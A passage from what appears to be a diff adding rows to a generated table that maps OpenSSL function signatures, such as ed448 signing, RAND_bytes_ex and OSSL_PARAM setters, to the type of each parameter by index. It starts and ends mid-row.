*,int) | | ossl_crypto_get_ex_new_index_ex | 2 | long | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 3 | void * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 4 | CRYPTO_EX_new * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 5 | CRYPTO_EX_dup * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 6 | CRYPTO_EX_free * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 7 | int | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 1 | int | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 2 | void * | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 3 | CRYPTO_EX_DATA * | +| (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 2 | QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 2 | int | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 3 | size_t | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 4 | int | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 1 | uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 2 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 3 | size_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 4 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 5 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 6 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 7 | size_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 8 | const uint8_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 9 | const char * | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 1 | uint8_t[32] | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 2 | const uint8_t[32] | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 1 | uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 1 | uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 1 | uint8_t[114] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 3 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 4 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 5 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 6 | uint8_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 7 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 8 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 9 | const char * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 1 | uint8_t[114] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 3 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 4 | const uint8_t[64] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 5 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 6 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 7 | const char * | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 1 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 2 | int * | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 1 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 2 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 3 | int * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 1 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 3 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 4 | const void * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 5 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 1 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 3 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 4 | const void * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 5 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 5 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 6 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 7 | const EVP_MD * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 8 | const EVP_MD * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 5 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 6 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 4 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 5 | int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 6 | int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 3 | unsigned int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 3 | unsigned int | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 1 | unsigned int | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 2 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 3 | size_t * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 4 | size_t | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 5 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 6 | int * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 7 | size_t | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 8 | int | +| (OSSL_METHOD_STORE *) | | ossl_method_store_free | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 1 | const OSSL_PROVIDER * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 2 | int | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 3 | const char * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 4 | void * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 5 | ..(*)(..) | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 6 | ..(*)(..) | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 1 | int | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 2 | const char * | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 3 | const OSSL_PROVIDER ** | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 4 | void ** | +| (OSSL_NAMED_DAY *) | | OSSL_NAMED_DAY_free | 0 | OSSL_NAMED_DAY * | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 0 | OSSL_NAMED_DAY ** | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 1 | const unsigned char ** | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 2 | long | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 0 | OSSL_NAMEMAP * | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 1 | int | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 2 | const char * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 0 | OSSL_NAMEMAP * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 1 | int | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 2 | const char * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 3 | const char | +| (OSSL_OBJECT_DIGEST_INFO *) | | OSSL_OBJECT_DIGEST_INFO_free | 0 | OSSL_OBJECT_DIGEST_INFO * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 0 | OSSL_OBJECT_DIGEST_INFO * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 1 | int | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 2 | X509_ALGOR * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 3 | ASN1_BIT_STRING * | +| (OSSL_PARAM *) | | OSSL_PARAM_free | 0 | OSSL_PARAM * | +| (OSSL_PARAM *) | | OSSL_PARAM_set_all_unmodified | 0 | OSSL_PARAM * | +| (OSSL_PARAM *) | | app_params_free | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const BIGNUM *) | | OSSL_PARAM_set_BN | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const BIGNUM *) | | OSSL_PARAM_set_BN | 1 | const BIGNUM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 1 | const OSSL_PARAM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 2 | const char * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 3 | const char * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 4 | size_t | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 5 | int * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | const char * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | const char * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | const char * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | size_t | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | size_t | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | size_t | +| (OSSL_PARAM *,double) | | OSSL_PARAM_set_double | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,double) | | OSSL_PARAM_set_double | 1 | double | +| (OSSL_PARAM *,int32_t) | | OSSL_PARAM_set_int32 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int32_t) | | OSSL_PARAM_set_int32 | 1 | int32_t | +| (OSSL_PARAM *,int64_t) | | OSSL_PARAM_set_int64 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int64_t) | | OSSL_PARAM_set_int64 | 1 | int64_t | +| (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | int | +| (OSSL_PARAM *,long) | | OSSL_PARAM_set_long | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,long) | | OSSL_PARAM_set_long | 1 | long | +| (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | size_t | +| (OSSL_PARAM *,time_t) | | OSSL_PARAM_set_time_t | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,time_t) | | OSSL_PARAM_set_time_t | 1 | time_t | +| (OSSL_PARAM *,uint32_t) | | OSSL_PARAM_set_uint32 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,uint32_t) | | OSSL_PARAM_set_uint32 | 1 | uint32_t | +| (OSSL_PARAM *,uint64_t) | | OSSL_PARAM_set_uint64 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,uint64_t) | | OSSL_PARAM_set_uint64 | 1 | uint64_t | +| (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | unsigned int | +| (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | unsigned long | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 1 | void * | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 